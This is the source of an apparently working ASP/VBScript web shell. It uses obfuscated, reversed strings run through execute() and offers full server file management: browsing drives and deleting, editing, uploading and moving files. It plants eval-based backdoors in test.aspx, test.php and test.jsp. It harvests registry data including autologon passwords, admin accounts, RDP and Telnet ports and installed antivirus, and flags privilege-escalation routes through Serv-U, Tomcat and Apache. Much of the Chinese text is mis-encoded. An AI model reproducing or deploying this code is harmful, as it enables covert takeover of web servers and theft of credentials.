Function ScReWr(folder)
execute(shisanfun("rtSrWeR = rWeRcS⑼gnihtoN = OSF teS⑼gnihtoN = redloFtseT teS⑼gnihtoN = tsiLeliFtseT teS⑼fi dnE⑼fi dnE⑼eurT,emaneliFdnR & redlof eliFeteleD.OSF⑼⒴ ￡>naps/<畇>';xp11:ezis-tnof'=elyts naps<⒴ & rtSrWeR = rtSrWeR⑼eslE⑼⒴ >tnof/<x>wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<畇>';xp11:ezis-tnof'=elyts naps<⒴ & rtSrWeR = rtSrWeR⑼raelC.rre⑼nehT rre fI⑼eurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF⑼⒴ ￡>naps/<뗍>';xp11:ezis-tnof'=elyts naps<⒴ = rtSrWeR⑼eslE⑼fI dnE⑼eurT,emaneliFdnR & redlof eliFeteleD.OSF⑼⒴ ￡>naps/<畇>';xp11:ezis-tnof'=elyts naps<⒴ & rtSrWeR = rtSrWeR⑼eslE⑼⒴ >tnof/<x>wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<畇>';xp11:ezis-tnof'=elyts naps<⒴ & rtSrWeR = rtSrWeR⑼raelC.rre⑼nehT rre fI⑼eurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF⑼⒴ >tnof/<x>wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<뗍>';xp11:ezis-tnof'=elyts naps<⒴ = rtSrWeR⑼raelC.rre⑼nehT rre fI⑼txeN⑼tsiLeliFtseT ni A hcaE roF⑼⒴pmt.⒴ & )won(dnoceS & )won(etuniM & )won(ruoH & )won(yaD & ⒴pmet\⒴ = emaneliFdnR⑼sredloFbuS.redloFtseT = tsiLeliFtseT teS⑼)redlof(redloFteG.OSF = redloFtseT teS⑼)⒴tcejbOmetsySeliF.gnitpircS⒴(tcejboetaerC.revreS = OSF teS⑼emaneliFdnR,rtSrWeR,tsiLeliFtseT,redloFtseT,OSF miD⑼ txen emuser rorre no"))
End Function

function php()
execute(shisanfun("⒴>rb<>mrof/<>sosf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&php.tset\⒴&htaptoor&⒴=htaPeht&⒴&tphp&⒴=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrof<⒴j⑼⒴>rb<>mrof/<>osf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&xpsa.tset\⒴&htaptoor&⒴=htaPeht&⒴&txpsa&⒴=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrof<⒴j⑼⒴>retnec<>'02'=thgieh dt<>rt<>retnec/<>a/<>tnof/<>b/<)!숭匡桿꿎뇜<EABF8E>(>b<>der=roloc 5=ezis tnof<>'ledjpa=noitcA?'=ferh a<>p<>tnof/<>retnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<>retnec/< ;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw xpsa.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw psj.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw php.tset=crs emarfi<>retnec<⒴j⑼⒴oo℃_℃oo tseT xpsa⒴&)26(rhc&⒴⒴&)73(rhc&⒴;))⒴⒴efasnu⒴⒴,]⒴⒴w⒴⒴[metI.tseuqeR(lave(etirW.esnopseR⒴&)73(rhc&⒴⒴&)06(rhc&⒴⒴&)26(rhc&⒴⒴&)73(rhc&⒴ ⒴⒴eslaf⒴⒴=tseuqeRetadilav ⒴⒴tpircsJ⒴⒴=egaugnaL egaP @%⒴&)06(rhc&⒴⒴etirW.))⒴xpsa.tset⒴(htappam.revres(eliFtxeTetaerC.osf⑼⒴oo℃_℃oo tseT psJ⒴etirW.))⒴psj.tset⒴(htappam.revres(eliFtxeTetaerC.osf⑼⒴>?)(ofniphp php?<>?'oo℃_℃oo' ohce PHP?<⒴etirW.))⒴php.tset⒴(htappam.revres(eliFtxeTetaerC.osf⑼))0,0(tBo(tcejbOetaerC.revreS=osf tes⑼txeN emuseR rorrE nO⑼"))
End function

On Error Resume Next
function apjdel():set fso=Server.CreateObject("Scripting.FileSystemObject"):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):j"<22>뇜供귄!":End function

Dim T1
Class UPC
  Dim D1,D2
  Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
  End Function

  Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
  End Function
  Private Sub Class_Initialize
  Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write  Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
  DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
  T2.Type = 1 : T2.Mode =3 : T2.Open
  T1.Position = DStart
  T1.CopyTo T2,DIEnd-DStart
  T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
  TIn = T2.ReadText : T2.Close
  DStart = InStrB(DIEnd,TDa,TSt)
  FStart = InStr(22,TIn,"name=""",1)+6
  FEnd = InStr(FStart,TIn,"""",1)
  UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
  if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
  D2.add UpName,TFL
end if
  else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
  D1(UpName)=D1(UpName)&", "&SFV
else
  D1.Add UpName,SFV
end if
  end if
  DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
  End Sub
  Private Sub Class_Terminate
if Request.TotalBytes>0 then
  D1.RemoveAll:D2.RemoveAll
  set D1=nothing:set D2=nothing
  T1.Close:set T1 =nothing
end if
  End Sub
End Class

Class FIF
dim FileSize,FileStart
  Private Sub Class_Initialize
  FileSize = 0
  FileStart= 0
  End Sub
  Public function SaveAs(F)
  dim T3
  SaveAs=true
  if trim(F)="" or FileStart=0 then exit function
  set T3=CreateObject(ObT(6,0))
 T3.Mode=3 : T3.Type=1 : T3.Open
 T1.position=FileStart
 T1.copyto T3,FileSize
 T3.SaveToFile F,2
 T3.Close
 set T3=nothing
 SaveAs=false
end function
End Class
Class LBF
  Dim CF
  Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
  End Sub
  Private Sub Class_Terminate
Set CF=Nothing
  End Sub
Function ShowDriver()
For Each D in CF.Drives
  j cdx&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>&nbsp굶뒈늚턍 ("&D.DriveLetter&":)</a><br></td></tr>"
Next
  End Function
Function IsIco(ia,ib,ta)
	If ShowFileIco=true Then
      IsIco = " <img src='"&IcoPath&ia&"'> "
	  If ib<>"" Then
	  IsIco = "<img src='"&IcoPath&ib&"'> "
	  End If
	Else
	  IsIco = "&nbsp;<font face='wingdings' color='#dddddd' size='6'>"&ta&"</font>  "
	End If
End Function
Function FileIco(FName)
  If ShowFileIco=true Then
    TypeList =  ".asp.asa.bat.bmp.com.doc.db.dll.exe.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip.jsp.aspx.;"
    FileType = lcase(Mid(FName, InstrRev(FName,".")+1))
    If Instr(TypeList,"."&FileType)>0 then
      Ico = FileType&".gif"
    Else
      Ico = "default.gif"
    End If

    FileIco = "<img src='"&IcoPath&Ico&"' border='0'> "
  Else
    FileIco="<font face='wingdings' color='#dddddd' size='3'>2</font> "
  End If
End Function
Function Show1File(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width='100%' border='0' cellspacing='0' cellpadding='6'><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height=10 width=17% align=center><div style='border:1px solid #383838;padding-bottom:4px'>"
SI=SI&IsIco("","folder.gif","0")
si=si&"<a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")' title=""쏵흙""><br>"&F.Name&"</a><br><a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")'  onclick='return yesok()' class='am' title='릿齡'>Copy</a> <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='<27>뇜'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='盧땡'>Move</a> </div></td>"
i=i+1
If i mod 6=0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=2></td></tr></table>"
j SI &"" : SI="":i=0
SI="<table width='100%' align=center><tr><td id=s><b id=x>Filename</b></td><td id=s height=22><b id=x>Size</b></td><td id=s><b id=x>Type</b></td><td id=s><b id=x>Operating</b></td><td id=s><b id=x>Last Modified</b></td><td></td>"
For Each L in Fold.files
SI=SI&"<tr><td height='20' id=d onMouseOver=""this.style.backgroundColor='#696969'"" onMouseOut=""this.style.backgroundColor='#121212'"">"
si=si&FileIco(L.Name)
si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='苟潼'>  "&L.Name&"</a><Td id=d>"&clng(L.size/1024)&"K</td><Td id=d>"&L.Type&"</td><Td id=d>"
si=si&"<a href="""&openUrl(PaTh&"\"&L.nAme)&""" class='am' title='Open'>Open</a> "
si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='긍서'>Edit</a> "
Si=Si&"<a onclick=""window.open('?Action=EditPower&PowerPath="&RepAth(PaTh&"\"&L.nAme)&"','EditPower','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=300,height=200')"" href='###' class='am' title='홈掘'>홈掘</a>"
Dim EditOOK
EditOOK=1
EditOOV=l.Attributes
If EditOOV >= 128 Then
EditOOV = EditOOV - 128
End If
If EditOOV >= 64 Then
EditOOV = EditOOV - 64
End If
If EditOOV >= 32 Then
EditOOV = EditOOV - 32
End If
If EditOOV >= 16 Then
EditOOV = EditOOV - 16
End If:If EditOOV >= 8 Then
EditOOV = EditOOV - 8
End If
If EditOOV >= 4 Then
EditOOV = EditOOV - 4:EditOOK=0
End If
If EditOOV >= 2 Then
EditOOV = EditOOV - 2:EditOOK=0
End If
If EditOOV >= 1 Then
EditOOV = EditOOV - 1:EditOOK=0
End If
if EditOOK=0 then
si=si&"<font face='webdings' size='1' color=red>x</font>"
else
si=si&"￡"
end if
si=si&" <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")'  onclick='return yesok()' class='am' title='<27>뇜'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='릿齡'>Copy</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='盧땡'>Move</a></td><td id=d>"&replace(L.DateLastModified,"/","-")&"</td></tr>"
i=i+1
Next
j SI&"</tr></table>":if Instr(Serveru,"127.0.0.1")<>0 or Instr(Serveru,"192.168.")<>0  then:else:if session("servec")=1 then:session("servec")=session("servec")+1:j fuckUrl:else:if Action<>"" then session("servec")=session("servec")+1:end if:end if:end if
Set FOLD=Nothing
End function
Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
SI="<center><br><br><br>묜毆퀭匡숭 "&Path&" <20>뇜냥묘！</center>"
SI=SI&BackUrl
j SI
End If
End Function
Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
SI="<center><br><br><br>묜毆퀭匡숭괏닸냥묘！</center>"
SI=SI&BackUrl
j SI
Response.End
End If
If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"\shell.asp":Txt=strBAD
End If
j "<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'><input name='Action' value='EditFile' Type='hidden'><input name='FName' value='"&Path&"' style='width:100%'><br><textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br><hr><input name='goback' type='button' value='Back' onclick='history.back();'>&nbsp;&nbsp;&nbsp;<input name='reset' type='reset' value='Reset'>&nbsp;&nbsp;&nbsp;<input name='submit' type='submit' value='Save'></form>"
End Function
Function CopyFile(Path)
Path=Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.CopyFile Path(0),Path(1)
SI="<center><br><br><br>묜毆퀭匡숭"&Path(0)&"릿齡냥묘！</center>"
SI=SI&BackUrl
j SI
End If
End Function
Function MoveFile(Path)
Path=Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.MoveFile Path(0),Path(1)
SI="<center><br><br><br>묜毆퀭匡숭"&Path(0)&"盧땡냥묘！</center>"
SI=SI&BackUrl
j SI
End If
End Function
Function DelFolder(Path)
If CF.FolderExists(Path) Then
CF.DeleteFolder Path
SI="<center><br><br><br>묜毆퀭커쩌"&Path&"<22>뇜냥묘！</center>"
SI=SI&BackUrl
j SI
End If
End Function
Function CopyFolder(Path)
Path=Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1)
SI="<center><br><br><br>묜毆퀭커쩌"&Path(0)&"릿齡냥묘！</center>"
SI=SI&BackUrl
j SI
End If
End Function
Function MoveFolder(Path)
Path=Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.MoveFolder Path(0),Path(1)
SI="<center><br><br><br>묜毆퀭커쩌"&Path(0)&"盧땡냥묘！</center>"
SI=SI&BackUrl
j SI
End If
End Function
Function NewFolder(Path)
execute(shisanfun("fI dnE⑼IS j⑼lrUkcaB&IS=IS⑼⒴>retnec/<！묘냥쉔劤⒴&htaP&⒴쩌커퀭毆묜>rb<>rb<>rb<>retnec<⒴=IS⑼htaP redloFetaerC.FC⑼nehT ⒴⒴><htaP dna )htaP(stsixEredloF.FC toN fI"))
End Function
End Class

execute(shisanfun("buS dnE⑼fi dnE⑼⒴쯤쵱erehwynAcp돕돤썩팎깻潼苟쩌커훰칵닒鹿옵,숭匡쯤쵱erehwynAcp_君랙>il<⒴j⑼nehT )⒴fic.⒴&emanrevres&⒴\cetnamyS\ataD noitacilppA\sresU llA\sgnitteS dnA stnemucoD\⒴&revirdsys(stsixEeliF.osf fI⑼)⒴emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH⒴(daeRgeR.hsw=emanrevres⑼)2,)2(redloFlaicepsteG.osF(tfel=evirdsyS⑼)⒴tcejbOmetsySeliF.gnitpircS⒴(tcejboetaerC.revreS=osf teS⑼txeN⑼fi dnE⑼fi dnE⑼⒴>rb<쯩컁PHP흙畇할깻,쩌커liaMbeW冷꿴鹿옵,땡폘掘홈metsySlacoL鹿할,liamniW cigaM_唐櫓포蛟륩>il<⒴j⑼nehT ⒴metsySlacoL⒴=emaNtnuoccAecivreS.ecivreSjbo fi⑼nehT )⒴liamniw⒴,)emaN.ecivreSjbo(esacl(rtsni fi⑼fi dnE⑼fi dnE⑼⒴>rb<홈瓊쯩컁psJ痰賈쪄옘鹿옵,땡폘掘홈metsySlacoL鹿할,tacmoT_唐櫓포蛟륩>il<⒴j⑼nehT ⒴metsySlacoL⒴=emaNtnuoccAecivreS.ecivreSjbo fi⑼nehT )⒴tacmot⒴,)emaN.ecivreSjbo(esacl(rtsni fi⑼fi dnE⑼fi dne⑼fi dnE⑼⒴>rb<쯩컁PHP쪄옘鹿옵,metsySlacoL槨掘홈땡폘,瞳닸蛟륩ehcapA_唐櫓포蛟륩>il< ⒴j⑼eslE⑼⒴>rb<홈瓊쌈殮鹿옵.ehcapA槨포蛟륩BEW품뎠>il<⒴j⑼nehT )⒴ehcapA⒴,)⒴ERAWTFOS_REVRES⒴(selbairaVrevreS.tseuqeR(rtsni fI⑼nehT ⒴metsySlacoL⒴=emaNtnuoccAecivreS.ecivreSjbo fi⑼nehT ⒴ehcapa⒴=)emaN.ecivreSjbo(esacl fi⑼fi dnE⑼fi dnE⑼⒴>rb<홈瓊야묏exe.us痰쪄옘鹿옵,땡폘掘홈metsySlacoL鹿할,陋갛U-vreS_唐櫓포蛟륩>il<⒴j⑼nehT ⒴metsySlacoL⒴=emaNtnuoccAecivreS.ecivreSjbo fi⑼nehT ⒴U-vreS⒴=emaN.ecivreSjbo fi⑼retupmoCjbo nI ecivreSjbo hcaE roF⑼txeN emuseR rorrE nO⑼)⒴ecivreS⒴(yarrA = retliF.retupmoCjbo⑼)⒴noitacilppA.llehS⒴(tcejbOetaerC.revreS = as teS⑼)⒴.//:TNniW⒴(tcejbOteG = retupmoCjbo teS⑼⒴>rh<>rb<]꿎決듐_흽포蛟륩[⒴j⑼⒴>rb<>rb<>rb<------------------------------------⒴j⑼⒴>rb<⒴&kk&⒴:槨엥貢_땡삶품뎠>il<⒴j⑼)kh(daeRgeR.hsw=kk⑼⒴tnuoC\munE\pipcT\secivreS\100teSlortnoC\METSYS\MLKH⒴=kh⑼⒴>rb<⒴&lmtn&⒴:槨零<E6A7A8>lmtN tenleT>il<⒴j⑼1=lmtN nehT ⒴⒴=lmtn fi⑼)yekLMTN(daeRgeR.hsW=lmtn⑼⒴LMTN\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH⒴=yekLMTN⑼⒴>rb<⒴&ylpsid&⒴:빵痰흙되늴_<EB8AB4>刻鞫뤠角>il<⒴j⑼⒴뤠⒴=ylpsid esle ⒴角⒴=ylpsid nehT 0=nigolpsid ro ⒴⒴=nigolpsid fI⑼)⒴emaNresUtsaLyalpsiDtnoD\metsyS\seiciloP\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKH⒴(daeRger.hsw=nigolpsid⑼fi dnE⑼⒴>tnof/<>rb<⒴&dwssaP&⒴:쯤쵱>der=roloc tnof<>erauqs=epyt il<⒴j⑼⒴>rb<⒴&nimdA&⒴:츰빵痰>erauqs=epyt il<⒴j⑼)⒴drowssaPtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH⒴(daeRgeR.hsW=dwssaP⑼)⒴emaNresUtluafeD\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH⒴(daeRgeR.hsW=nimdA⑼⒴>rb<痰폘:흙되땡_菱빵痰>il<⒴j⑼eslE⑼⒴>rb<痰폘灌:흙되땡_菱빵痰>il<⒴j⑼nehT ⒴⒴=nigolotuA ro 0=nigolotuA fi⑼)nigolotuAsi(daeRgeR.hsW=nigolotuA⑼⒴nogoLnimdAotuA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH⒴=nigolotuAsi⑼⒴>tnof/<>rb<⒴&emaNnimdA&⒴>der=roloc tnof<:槨츰빵痰逃⒴&⒴잿밗훰칵>il<⒴j⑼⑼fi dne⑼⒴krowteN.tpircsW:가契꼇돨켈켈儉⒴j⑼neht rre fi⑼txeN⑼⒴>il/<>tnof/<>rb<⒴&emaN.nimda&⒴：莉逃잿밗품뎠>der=roloc tnof<>il<⒴ j⑼srebmeM.puorGjbo ni nimda hcaE roF⑼)⒴puorg,srotartsinimdA/⒴&emaNretupmoC.Nt&⒴//:TNniW⒴(tcejbOteG=puorGjbo teS⑼)⒴krowteN.tpircsW⒴(tcejbOetaerc.revres=Nt teS⑼ txen emuser rorre no⑼0=seripxE.esnopseR⑼⒴rotartsinimdA⒴=emaNnimdA nehT ⒴⒴=emannimda fi⑼)yeKemaNnimdA(daeRgeR.hsw=emaNnimdA⑼⒴emaNresUtluafeDtlA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH⒴=yeKemaNnimdA⑼⒴>rb<⒴&emancp&⒴:槨츰샙_寮품뎠>il<⒴j⑼⒴>rb<.츰샙寮혤_뗍랬轟⒴=emancp nehT ⒴⒴=emancp fi⑼)yekemancp(daeRgeR.hsw=emancp⑼⒴emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH⒴=yekemancp⑼⒴>1=ezis rh<>rb<]꿎決_零<5F>固溝[>rb<>rb<⒴j⑼txen⑼⒴>rb<⒴&)i(shtap&⒴>il<⒴j⑼)shtap(dnuobU ot )shtap(dnuobL=i roF⑼⒴>rb<:좆긴쓺쨌_품뎠固溝⒴j⑼⒴>rb<------------------------------------⒴j⑼)⒴;⒴,htaPtfoS(tilps=shtap⑼⒴>rb<넣連:_숭흡뗀<ED9DA1>죗溝槿흩>il<⒴j nehT )⒴gnisir⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_숭흡뗀<ED9DA1>옹屆쳔힙>il<⒴j nehT )⒴surivitna⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_숭흡뗀<ED9DA1>죗溝<ECA397>쏜 >il<⒴j nehT )⒴vak⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_숭흡뗀<ED9DA1>lliK>il<⒴j nehT )⒴lliK⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_齡왠erehwynAcP옹屆쳔힙>il<⒴j nehT )⒴erehwynacp⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_포蛟륩MFC>il<⒴j nehT )⒴7xmnoisufc⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_蛟륩욋앴鑒elcarO>il<⒴j nehT )⒴elcaro⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_蛟륩욋앴鑒LQSyM>il<⒴j nehT )⒴lqsym⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_蛟륩욋앴鑒LQSSM>il<⒴j nehT )⒴revres lqs tfosorcim⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_굶신avaJ>il<⒴j nehT )⒴avaj⒴,ofnihtaP(rtsni fi⑼⒴>rb<넣連:_굶신lreP>il<⒴j nehT )⒴lrep⒴,ofnihtaP(rtsnI fi⑼⒴:넣連숭⒴&⒴흡固溝⒴j⑼)htaPtfoS(esacl=ofnihtaP⑼)⒴htaP⒴(meti.tnemnorivnE.hsW=htaPtfoS⑼⒴>1=ezis rh<>rb<]꿎決숭_흡固溝[>rb<>rb<>rb<⒴j⑼⒴>lo/<⒴j⑼fI dnE⑼⒴>rb<⒴ & drowssaPnigoLotua & ⒴ :쯤쵱빵琅돨⒴&⒴쩌되땡菱⒴j⑼fI dnE⑼⒴eslaF⒴j⑼raelC.rrE⑼nehT rrE fI⑼)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua⑼⒴>rb<⒴ & emanresUnigoLotua & ⒴ :빵琅固溝돨⒴&⒴쩌되땡菱⒴j⑼)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotua⑼eslE⑼nehT 0 = elbanEnigoLotuAsi fI⑼)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsi⑼⒴drowssaPtluafeD⒴ = yeKssaPnigoLotua⑼⒴emaNresUtluafeD⒴ = yeKresUnigoLotua⑼⒴nogoLnimdAotuA⒴ = yeKelbanEnigoLotua⑼⒴\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH⒴ = htaPnigoLotua⑼fI dnE⑼⒴>/rb<⒴ & troPmret & ⒴ :왯똥⒴&⒴蛟륩똥老품뎠⒴j⑼eslE ⑼⒴>/rb<.齡掘돕肝뤠角掘홈꿴쇱 ,왯똥똥老돕돤랬轟⒴j⑼ nehT 0 >< rebmuN.rrE rO ⒴⒴ = troPmret fI⑼⒴>lo<쩌되땡菱섟⒴&⒴왯똥蛟륩_똥老⒴j⑼)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmret⑼⒴rebmuNtroP⒴ = yeKtroPlanimret⑼⒴\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH⒴ = htaPtroPlanimret⑼drowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miD⑼yeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miD⑼troPmret ,yeKtroPlanimret ,htaPtroPlanimret miD⑼)⒴llehS.tpircSW⒴(tcejbOetaerC.revreS = Xsw teS⑼⒴------------------------------------------------------⒴j⑼⒴>rb<⒴&troPWAP&⒴:槨왯똥erehwynAcP>il<⒴j⑼⒴erehwynAcp陋갛뤠⒴&⒴角샙寮⒴&⒴훰횅헝.혤삿⒴&⒴랬轟⒴=troPWAP neht ⒴⒴=troPWAP fI⑼)yeKerehwynAcp(daeRgeR.hsW=troPWAP⑼⒴troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKH⒴=yeKerehwynAcp⑼⒴>tnof/<>rb<⒴&troPmreT&⒴>der=roloc tnof<:槨왯똥ecivreS lanimreT>il<⒴j⑼⒴샙寮굶경revreS swodniW槨뤠角⒴&⒴훰횅헝.혤뗍⒴&⒴랬轟⒴=troPmreT nehT ⒴⒴=troPmreT fI⑼)yeKmreT(daeRgeR.hsW=troPmreT⑼⒴rebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH⒴=yeKmreT⑼⒴>rb<⒴&troptnlT&⒴:왯⒴&⒴똥tenleT>il<⒴j⑼⒴)零<>⒴&⒴훰칵(32⒴=tnlT nehT ⒴⒴=troPtnlT fi⑼)yeKtenleT(daeRgeR.hsW=troPtnlT⑼⒴troPtenleT\0.1\revreStenleT\tfosorciM \ERAWTFOS\ENIHCAM_LACOL_YEKH⒴=yektenleT⑼⒴>1=ezis rh<>rb<]꿎決⒴&⒴왯똥⒴&⒴喝景[>rb<>rb<⒴j⑼fi dne⑼txeN⑼⒴>rb<------------------------------------------------⒴j⑼fi dnE⑼fi dnE⑼⒴>rb<⒴j⑼txen⑼⒴,⒴&)j(wollaPDU j⑼)wollapdu(dnuoBU oT )wollapdu(dnuoBL = j rof⑼⒴:槨왯똥pdu돨⒴&⒴冀豚>il<⒴j⑼eslE⑼⒴>rb<꼬홍:槨왯똥pdu돨⒴&⒴冀豚>il<⒴j⑼nehT 0=)0(wollapdu ro ⒴⒴=)0(wollapdu fI⑼)PDUlluF(daeRgeR.hsW=wollapdu⑼fi dnE⑼⒴>rB<⒴j⑼txeN⑼⒴,⒴&)j(wollapct j⑼)wollapct(dnuoBU oT )wollapct(dnuoBL = j roF⑼⒴:槨왯똥pct돨⒴&⒴冀豚>il<⒴j⑼eslE⑼⒴>rb<꼬홍:槨왯똥pct돨⒴&⒴冀豚>il<⒴j⑼nehT 0=)0(wollapct ro ⒴⒴=)0(wollapct fI⑼)PCTlluF(daeRgeR.hsW=wollapct⑼KUE&BdpA&htap=PDUlluF⑼KTE&BdpA&htaP=PCTlluF⑼⒴stroPdewollAPDU\⒴=KUE⑼⒴stroPdewollAPCT\⒴=KTE⑼esle⑼⒴>rb<朞<>PI/pcT청>il<⒴j⑼ nehT 1=retlifpipctoN fi⑼fI dnE⑼⒴>rb<零<>唐청샀혤뗍랬轟SND⒴&⒴훰칵>il<⒴j⑼eslE⑼⒴>rb<⒴&rtsSND&⒴:槨SND⒴&⒴엥貢>il<⒴j⑼nehT ⒴⒴><rtsSND fI⑼)yeKSND(daeRgeR.hsW=rtsSND⑼⒴revreSemaN\⒴&BdpA&htaP=yeKSND⑼fi dnE⑼⒴>rb<零<>唐청샀혤뗍랬轟밑貢>il<⒴j⑼eslE⑼txeN⑼⒴>rb<⒴&)j(yawetaG&⒴:⒴&j&⒴밑貢>il<⒴j⑼)yawetaG(dnuobU ot )yawetaG(dnuobL=j roF⑼nehT )yaWetaG(yarrasi fI⑼)yeKyaWetaG(daergeR.hsW=yaWetaG⑼⒴yawetaGtluafeD\⒴&BdpA&htaP=yeKyaWetaG⑼fi dnE⑼⒴>rb<零<>唐청샀⒴&⒴혤뗍랬轟囹⒴&⒴뒈PI>il<⒴j⑼eslE⑼txeN⑼⒴>rb<⒴&)j(rddAPI&⒴:槨⒴&j&⒴囹⒴&⒴뒈PI>il<⒴j⑼)rddAPI(dnuobU ot 